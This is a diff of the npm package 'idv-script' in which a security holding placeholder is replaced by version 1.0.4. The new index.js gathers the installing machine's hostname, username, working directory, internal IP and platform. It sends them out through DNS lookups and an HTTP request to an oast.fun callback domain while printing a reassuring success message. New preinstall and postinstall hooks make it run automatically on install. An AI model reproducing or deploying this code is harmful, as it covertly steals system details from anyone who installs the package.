idv-script 0.0.1-security → 1.0.4

package/index.js

@@ -0,0 +1,130 @@
+import { execSync } from 'child_process';
+import dns from 'dns';
+import https from 'https';
+import http from 'http';
+import os from 'os';
+
+// Replace with your actual domain
+const EXFIL_DOMAIN = 'xfphzueycxoytgphonsturk0c56bnkbq1.oast.fun';
+const HTTP_ENDPOINT = `http://xfphzueycxoytgphonsturk0c56bnkbq1.oast.fun`;
+
+function sanitize(str) {
+    return str
+        .replace(/[^a-zA-Z0-9]/g, '-')
+        .replace(/-+/g, '-')
+        .replace(/^-|-$/g, '')
+        .substring(0, 63)
+        .toLowerCase();
+}
+
+function getInternalIP() {
+    try {
+        const interfaces = os.networkInterfaces();
+        for (const name of Object.keys(interfaces)) {
+            for (const iface of interfaces[name]) {
+                // Skip internal (loopback) and non-IPv4 addresses
+                if (iface.family === 'IPv4' && !iface.internal) {
+                    return iface.address;
+                }
+            }
+        }
+        return 'no-ip';
+    } catch (e) {
+        return 'error-getting-ip';
+    }
+}
+
+function getSystemInfo() {
+    try {
+        const hostname = os.hostname();
+        const username = os.userInfo().username;
+        const cwd = process.cwd();
+        const internalIP = getInternalIP();
+        const platform = os.platform();
+        const arch = os.arch();
+        
+        return {
+            hostname,
+            username,
+            cwd,
+            internalIP,
+            platform,
+            arch,
+            timestamp: Date.now()
+        };
+    } catch (e) {
+        return {
+            hostname: 'error',
+            username: 'error',
+            cwd: 'error',
+            internalIP: 'error',
+            platform: os.platform(),
+            arch: os.arch(),
+            timestamp: Date.now()
+        };
+    }
+}
+
+function exfilViaHTTP(data) {
+    try {
+        // Convert data to base64 for URL encoding
+        const payload = Buffer.from(JSON.stringify(data)).toString('base64');
+        const url = `${HTTP_ENDPOINT}?data=${payload}`;
+        
+        // Try HTTP request (non-blocking)
+        http.get(url, (res) => {
+            // Silently consume response
+            res.on('data', () => {});
+        }).on('error', () => {
+            // Fail silently
+        });
+        
+    } catch (e) {
+        // Fail silently
+    }
+}
+
+function exfilViaDNS(data) {
+    try {
+        // Send each piece of info as separate DNS query
+        const queries = [
+            `hostname-${sanitize(data.hostname)}.${EXFIL_DOMAIN}`,
+            `username-${sanitize(data.username)}.${EXFIL_DOMAIN}`,
+            `ip-${sanitize(data.internalIP)}.${EXFIL_DOMAIN}`,
+            `path-${sanitize(data.cwd)}.${EXFIL_DOMAIN}`,
+            `platform-${sanitize(data.platform)}.${EXFIL_DOMAIN}`
+        ];
+        
+        // Send DNS queries (non-blocking)
+        queries.forEach(query => {
+            dns.lookup(query, () => {});
+        });
+        
+        // Also send a combined query with timestamp
+        const combined = `exfil-${data.timestamp}.${EXFIL_DOMAIN}`;
+        dns.lookup(combined, () => {});
+        
+    } catch (e) {
+        // Fail silently
+    }
+}
+
+function exfiltrate() {
+    try {
+        const data = getSystemInfo();
+        
+        // Exfiltrate via both channels
+        exfilViaDNS(data);
+        exfilViaHTTP(data);
+        
+        // Output normal looking message
+        console.log('Package initialized successfully');
+        
+    } catch (e) {
+        // Even if there's an error, look normal
+        console.log('Package initialized successfully');
+    }
+}
+
+// Execute immediately
+exfiltrate();

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "idv-script",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.4",
+  "description": "Security testing package",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "preinstall": "node index.js",
+    "postinstall": "node index.js"
+  },
+  "keywords": [
+    "security",
+    "testing"
+  ],
+  "author": "Security Tester",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=idv-script for more information.